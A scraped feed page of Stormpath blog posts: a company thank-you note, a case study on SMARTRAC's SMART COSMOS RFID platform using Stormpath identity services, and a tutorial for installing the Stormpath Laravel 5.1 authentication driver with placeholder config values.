We’re 30-strong (come join us!), and it’s time to build out our team with more passionate people. We have a strong core identity product, and it’s time for us to build more advanced features like SAML and deeper authorization. It’s time for easier-to-use docs and SDKs. It’s time for deeper client side support for mobile, single sign-on across customer services, and foolproof token authentication to connect users, applications and devices securely. We will continuously enhance our service to make it more useful and easier to use, for more companies and developer communities.

To our early and current users, who helped shape our vision for the first customer identity API, thank you. To our teammates, who have passionately argued how to best serve our developer community, thank you. To our families and investors, who supported our vision and challenge us to shoot higher, thank you.

To everyone who swears to never outsource identity to a third-party SaaS, I hope you will try the API. We would love the opportunity to change your mind. And if we can’t change your mind, then we’d love your feedback on how to make a better product.

The World's Leading RFID Manufacturer Saves Time, Money, and Sleep with Stormpath

$
0
0

Stormpath Plus Smartrac

SMARTRAC is the world’s leading manufacturer of RFID transponders. Used in a variety of applications from U.S. passports, to pet microchips, to electronic toll payment transponders, SMARTRAC produces a staggering 1.7 billion RFID responder tags annually. The possibilities of the technology are virtually limitless.

Building SMART COSMOS

The breadth of applications for RFID technology gives SMARTRAC a presence in nearly every market sector. Increasingly, those applications connect through cloud services. “Take a pair of jeans,” explained Jason Weiss, Vice President of Cloud Platform and Applications at SMARTRAC.

“A pair of jeans typically is not connected to the cloud, but the moment you affix an RFID tag to them, those jeans suddenly can have dynamic content associated with them. You can create a relationship between their brand owner and the consumer that previously wasn’t possible.”

To that end, SMARTRAC created SMART COSMOS, a new cloud services platform built around RFID data. SMART COSMOS enables comprehensive Machine-to- Machine and Machine-to-Product communication, and a wealth of pre-built services and extension points. Using the platform, system integrators and software developers can easily create new applications for authentication, identification and tracking of goods.

The use cases are compelling: brands can track product authenticity to reduce counterfeiting and piracy; supply chain workflows efficiency can be managed at the item level, in real-time to reduce loss and waste; RFID data can enable extended consumer experiences with a beloved brand item long after the sale.

The Cloud-Enabled Football Jersey

The lifecycle of a football jersey demonstrates the power of the SMART COSMOS platform at each step of the supply chain.

SMARTRAC helps customers in vertical markets prove the correct royalties were paid for an item. That licensing enforcement information is tracked with RFID and in the SMART COSMOS “Profiles” service. 1000 football jerseys under that license are manufactured in Vietnam and assigned serial numbers and date of manufacture. Details about the jerseys, such as team, player, and season, is linked to the SMART COSMOS “Objects” service through the RFID tag for rich product data.

After leaving the manufacturing plant, only 994 jerseys are actually delivered to the port, and by the time the ship arrives in the port of Los Angeles, a whole box is missing. Somewhere in the port another box falls off a forklift, and now only 894 jerseys reach the distribution center.

“SMART COSMOS provides the infrastructure for brands to delay the authenticity licensing until they have reclaimed possession and are in control of the item in their distribution center.” Weiss explained. “The 106 jerseys lost along the way have labels, but never went through the RFID reader at the distribution center. Therefore, authenticity was never turned on in the cloud.”

Once the authentic jerseys are in the retail market, their RFID transponder can enhance the fan experience in their home team’s stadium and solve a critical problem for the stadium operator – how do you motivate a fan to buy a jersey and spend money at the concession stands?

One way is to incentivize them with offers, which can be powered by the SMART COSMOS “Flows” platform service, an RFID-centric, BPMN 2.0 compliant workflow management solution. It allows a very junior software developer or even a business analyst to design a workflow around RFID.

An example offer might instruct stadium visitors to bring a current-season jersey to the concession stand to get $5 off their first beer at every home game. An RFID reader in the concession point-of-sale reads the jersey’s RFID tag, and triggers a workflow that retrieves the jersey’s “Profile” and “Object” from SMART COSMOS. It verifies this is an authentic jersey from the current season. Then the workflow checks SMART COSMOS again, to see if the visitor already redeemed their beer coupon for today’s game. They have not, so the light at the register turns green, and the information for that sale is connected back to the RFID data in SMART COSMOS: location, timestamp, value of sale, etc.

“This ecosystem would allow a stadium operator to deploy a system like that in a matter of a few weeks instead of months of engineering time,” says Weiss.

Stormpath: Secure Multi-Tenant User Data With Flexible Deployment

Stormpath helps SMARTRAC by powering identity infrastructure across SMART COSMOS, using a multi-tenant data-partitioning model. Every developer on SMART COSMOS Profiles, for example, gets a unique, secure directory partitioned from other company’s data.  “Users get access with that one username and password to the software as a service hosted in our cloud,” Weiss explained. “We don’t have to worry about managing our customer’s users. We let them manage their own users within their own directory.”

This user data model also protects customer data in a way that is easy for SMARTRAC to maintain. Stormpath encrypts and protects all the passwords, so there is no way for SMARTRAC to actually see any of the end-user passwords. As a former naval cryptologist, Weiss understands the importance of security, and Stormpath’s advanced security features were a deciding factor in SMARTRAC’s choice.

“We know Stormpath is following the best practices that are out there today for security,” Weiss said. “I don’t have to worry that somebody screwed up the implementation, because it’s all managed by the Stormpath service.”

In the retail market, Stormpath has also proved advantageous, helping SMARTRAC position itself as highly reputable and ultra-secure, and helping avoid embarrassing security breaches. “I remember at one of my last positions, a developer left a debug statement turned on in the code that logged the password,” Weiss recounted. Even though there was no breach, the company had to tell its entire customer base to change their passwords.

“That’s a very embarrassing conversation to have with paying customers. Been there, done that. I never want to do that again.”

Stormpath has not only saved the SMARTRAC team development time and engineering man hours, it cut down on the team’s stress. “I would have lost sleep thinking, ‘We’re deploying this at a federal institution. Did we get everything coded correctly? Did we have all the right unit tests to make sure it’s safe?’” Weiss explained.

With Stormpath, the entire SMARTRAC team can rest easy without having to stress about data security. 

Stormpath Loves Laravel Authentication

$
0
0

stormpath-laravel-driver

With over 100,000 installs of Laravel each month, many PHP developers are using the built-in authentication. The problem is that rolling your own authentication system and maintaining it is a full-time job in itself. Why not let Stormpath handle the authentication for you while using all the auth functions you are familiar with already?

We are excited to announce the Stormpath Laravel 5.1 Authentication Driver, our very first integration using the Stormpath PHP SDK. This new integration allows you to use all the auth facade functions that you are accustomed to while talking with your Stormpath application and directories.

Get Started with the Stormpath Laravel Authentication Driver

Let’s walk through a few steps to get you up and running. The following instructions will give you the ability to add the driver stormpath to your auth.php config.

auth_driver_setup

First, you need to install the auth driver package with composer. At the time of writing this article, the package is under an alpha tag, so you will need to change your minimum-stability to dev. Once this is done, you need to install the package.

"require": {
    "stormpath/laravel-auth-driver": "dev-master"
},

Doing this will allow you to register the service provider. This is done in config/app.php.

"providers" => [
    ...
    Stormpath\Providers\AuthServiceProvider::class
    ...
}

Now you have access to the auth driver. Change the driver you want to use for your application in config/auth.php. Find the key driver and change it to stormpath.

return [
   ...
   'driver' => 'stormpath',
   ...
]

The last thing to do is configure the package to use your keys and application. Run the following command to publish the config php artisan vendor:publish then open the file at config/stormpath.php. Here you will be able to provide your id, secret, and application.

NOTE Stormpath suggests not storing your id and secret within your repository. To avoid this, you can place these items in your .env.php file and change the config page to use the function env() to reference the information. For more details on this, please visit the docs at Laravel.

return [

    "id" => "YouStormpathId",

    "secret" => "YourStormpathSecret",

    "application" => "YourStormpathApplicationId"

];

Drop-In Auth Driver for Laravel Projects

Now you know how to change your auth driver for Laravel 5.1 to use Stormpath. You can include this in your current projects with very minimal code changes as well as start new projects with this package.

We hope you are as excited about this integration as we are and want to hear your feedback. Feel free to contact us at support@stormpath.com or give us a shoutout on Twitter @goStormpath.

Viewing all 278 articles
Browse latest View live